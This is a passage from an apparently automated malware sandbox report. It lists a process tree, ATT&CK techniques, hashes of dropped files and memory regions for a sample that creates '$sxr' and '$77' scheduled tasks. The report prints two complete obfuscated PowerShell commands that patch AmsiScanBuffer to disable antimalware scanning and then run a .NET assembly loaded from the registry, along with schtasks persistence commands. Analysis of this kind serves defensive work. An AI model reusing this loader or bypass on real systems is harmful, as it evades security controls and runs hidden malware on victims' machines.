+'a'+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$tBGbcLAHQGC.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$zANAsQYZpm,$JpuVjlHZSbEarD).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+'ag'+'e'+''+'d'+'');Write-Output $tBGbcLAHQGC.CreateType();}$fwtGBqWABCmDx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+'icro'+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+'s'+'a'+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+'e'+''+'t'+'h'+[Char](111)+'d'+[Char](115)+'');$KxityZUdSYjBLQ=$fwtGBqWABCmDx.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kukrsMEWCymvbXSMPxY=zMLfToattpdp @([String])([IntPtr]);$rtYFlhvnKVQPKjfmusGfgx=zMLfToattpdp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jEeBRGZfkaK=$fwtGBqWABCmDx.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+'e'+[Char](72)+'a'+'n'+''+'d'+'l'+'e'+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+'3'+'2'+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')));$FYWKBtOcOKDNHu=$KxityZUdSYjBLQ.Invoke($Null,@([Object]$jEeBRGZfkaK,[Object](''+'L'+''+'o'+'ad'+[Char](76)+''+'i'+''+[Char](98)+'r'+'a'+'r'+[Char](121)+''+'A'+'')));$atoZNIYVNfZfESwqP=$KxityZUdSYjBLQ.Invoke($Null,@([Object]$jEeBRGZfkaK,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+'a'+'l'+''+'P'+''+'r'+'ot'+[Char](101)+''+[Char](99)+'t')));$YpQsgtg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FYWKBtOcOKDNHu,$kukrsMEWCymvbXSMPxY).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$ewTIsGMbZpMABxIVT=$KxityZUdSYjBLQ.Invoke($Null,@([Object]$YpQsgtg,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'S'+'c'+''+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$NimYcTXqmW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($atoZNIYVNfZfESwqP,$rtYFlhvnKVQPKjfmusGfgx).Invoke($ewTIsGMbZpMABxIVT,[uint32]8,4,[ref]$NimYcTXqmW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ewTIsGMbZpMABxIVT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($atoZNIYVNfZfESwqP,$rtYFlhvnKVQPKjfmusGfgx).Invoke($ewTIsGMbZpMABxIVT,[uint32]8,0x20,[ref]$NimYcTXqmW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CDbOzJHRquMY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hfhoOKyEIcaqNK,[Parameter(Position=1)][Type]$lhUOgKafDu)$gJaMRdZtlgL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+''+'d'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+'m'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+'y'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+'p'+[Char](101)+'','C'+'l'+''+'a'+''+'s'+''+'s'+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+'s'+'i'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+',A'+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$gJaMRdZtlgL.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+'N'+'a'+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+','+''+'P'+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$hfhoOKyEIcaqNK).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$gJaMRdZtlgL.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+'k'+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+'w'+'Sl'+'o'+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$lhUOgKafDu,$hfhoOKyEIcaqNK).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+'nag'+'e'+'d');Write-Output $gJaMRdZtlgL.CreateType();}$ErMXCnJHzUFBC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+'.'+'W'+[Char](105)+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+'s'+'a'+''+'f'+''+[Char](101)+''+[Char](78)+'at'+[Char](105)+''+'v'+'e'+[Char](77)+'et'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$WqlvIvpMXQxywi=$ErMXCnJHzUFBC.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](80)+'r'+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pub'+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+'ta'+[Char](116)+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BmZripDJPBBAwwVGkoy=CDbOzJHRquMY @([String])([IntPtr]);$GUTOFCUTSUQHYaYFXLHKLQ=CDbOzJHRquMY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LPOGhUGjdNC=$ErMXCnJHzUFBC.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+'32.d'+[Char](108)+''+'l'+'')));$UfXRLybaqNnHJo=$WqlvIvpMXQxywi.Invoke($Null,@([Object]$LPOGhUGjdNC,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+'A')));$fMZlhiyCxLGPqHuGf=$WqlvIvpMXQxywi.Invoke($Null,@([Object]$LPOGhUGjdNC,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+'P'+[Char](114)+''+[Char](111)+'t'+[Char](101)+'ct')));$xnszVXw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UfXRLybaqNnHJo,$BmZripDJPBBAwwVGkoy).Invoke(''+'a'+''+'m'+'s'+[Char](105)+'.dl'+[Char](108)+'');$hBGoluISTGWONgmqK=$WqlvIvpMXQxywi.Invoke($Null,@([Object]$xnszVXw,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$tyctTZVIsx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fMZlhiyCxLGPqHuGf,$GUTOFCUTSUQHYaYFXLHKLQ).Invoke($hBGoluISTGWONgmqK,[uint32]8,4,[ref]$tyctTZVIsx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hBGoluISTGWONgmqK,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fMZlhiyCxLGPqHuGf,$GUTOFCUTSUQHYaYFXLHKLQ).Invoke($hBGoluISTGWONgmqK,[uint32]8,0x20,[ref]$tyctTZVIsx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
- Modifies registry class
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1952

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2812

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3000

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3464

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3556

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:756

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3572

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:2744

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:3240

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:4688

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:4712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3660

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3876

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4032

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4520

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:1764

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3200

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:516

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:116

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3308

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4972

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 4360 -ip 4360
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3248

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3592

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C85.tmp.csv
Filesize
37KB

MD5
c0e74ecaf21b0fc184a4bbf7a91feda0

SHA1
d021cc361c96bf625c7273764cc2427f43e27d07

SHA256
27ebf42ee5594e44eb2fadf6ace50789173457e7b66d58cf49ad8b1d0ad57b07

SHA512
c94ebd6ce44942dbff9527ad9a3931455a2c61053cb209f604c799dd905a54f4add26af557c6ffabe2c5e764ce5d73c43c992433a5af97e74ec5e449e54ee629

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6CA5.tmp.txt
Filesize
13KB

MD5
a9ed904f5cbbf85c8c608530d29df1db

SHA1
5825ed373ac7903c1e8ea3b73f7db4e5bdea0a75

SHA256
bdc7db0541e6d9dcd63a36a1d9233adf39912aabb2593b9c8cdd6c788f744fb5

SHA512
26e1fa271c3a067929d62bc45fcb614c85c20d8b97aeed6e4865e77149cf8b231ee8509e89656f1cbeb39d91a9696f7019062388844892205f884ba79f83676f

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_fmb05mun.l4r.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
aa187cac09f051e24146ad549a0f08a6

SHA1
2ef7fae3652bb838766627fa6584a6e3b5e74ff3

SHA256
7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f

SHA512
960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2

Download Submit
memory/336-103-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/336-96-0x00000248BB480000-0x00000248BB4AB000-memory.dmp

Filesize
172KB

Download
memory/336-102-0x00000248BB480000-0x00000248BB4AB000-memory.dmp

Filesize
172KB

Download
memory/600-69-0x0000021B09100000-0x0000021B0912B000-memory.dmp

Filesize
172KB

Download
memory/600-63-0x0000021B09100000-0x0000021B0912B000-memory.dmp

Filesize
172KB

Download
memory/600-61-0x0000021B090D0000-0x0000021B090F5000-memory.dmp

Filesize
148KB

Download
memory/600-70-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/600-62-0x0000021B09100000-0x0000021B0912B000-memory.dmp

Filesize
172KB

Download
memory/680-74-0x00000256875D0000-0x00000256875FB000-memory.dmp

Filesize
172KB

Download
memory/680-80-0x00000256875D0000-0x00000256875FB000-memory.dmp

Filesize
172KB

Download
memory/680-81-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/760-107-0x00000145A9F20000-0x00000145A9F4B000-memory.dmp

Filesize
172KB

Download
memory/956-85-0x000001670CC10000-0x000001670CC3B000-memory.dmp

Filesize
172KB

Download
memory/956-91-0x000001670CC10000-0x000001670CC3B000-memory.dmp

Filesize
172KB

Download
memory/956-92-0x00007FF88D2F0000-0x00007FF88D300000-memory.dmp

Filesize
64KB

Download
memory/1192-20-0x0000000074B60000-0x0000000075310000-memory.dmp

Filesize
7.7MB

Download
memory/1192-0-0x0000000074B6E000-0x0000000074B6F000-memory.dmp

Filesize
4KB

Download
memory/1192-1-0x0000000000AB0000-0x0000000000B1C000-memory.dmp

Filesize
432KB

Download
memory/1192-2-0x0000000005AF0000-0x0000000006094000-memory.dmp

Filesize
5.6MB

Download
memory/1192-3-0x0000000005540000-0x00000000055D2000-memory.dmp

Filesize
584KB

Download
memory/1192-4-0x0000000074B60000-0x0000000075310000-memory.dmp

Filesize
7.7MB

Download
memory/1192-5-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/1192-6-0x0000000005AC0000-0x0000000005AD2000-memory.dmp

Filesize
72KB

Download
memory/1192-7-0x00000000068C0000-0x00000000068FC000-memory.dmp

Filesize
240KB

Download
memory/2332-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2332-54-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/2332-55-0x00007FF8CBDA0000-0x00007FF8CBE5E000-memory.dmp

Filesize
760KB

Download
memory/2332-58-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2332-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2332-50-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2332-53-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2332-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3316-47-0x00007FF8CBDA0000-0x00007FF8CBE5E000-memory.dmp

Filesize
760KB

Download
memory/3316-30-0x0000012FB2070000-0x0000012FB2092000-memory.dmp

Filesize
136KB

Download
memory/3316-46-0x00007FF8CD270000-0x00007FF8CD465000-memory.dmp

Filesize
2.0MB

Download
memory/3316-45-0x0000012FB22E0000-0x0000012FB230A000-memory.dmp

Filesize
168KB

Download
memory/3572-13-0x0000000074B60000-0x0000000075310000-memory.dmp

Filesize
7.7MB

Download
memory/3572-14-0x0000000074B60000-0x0000000075310000-memory.dmp

Filesize
7.7MB

Download
memory/3572-35-0x00000000075D0000-0x00000000075DA000-memory.dmp

Filesize
40KB

Download
memory/3572-850-0x0000000074B60000-0x0000000075310000-memory.dmp

Filesize
7.7MB

Download
memory/3572-851-0x0000000074B60000-0x0000000075310000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

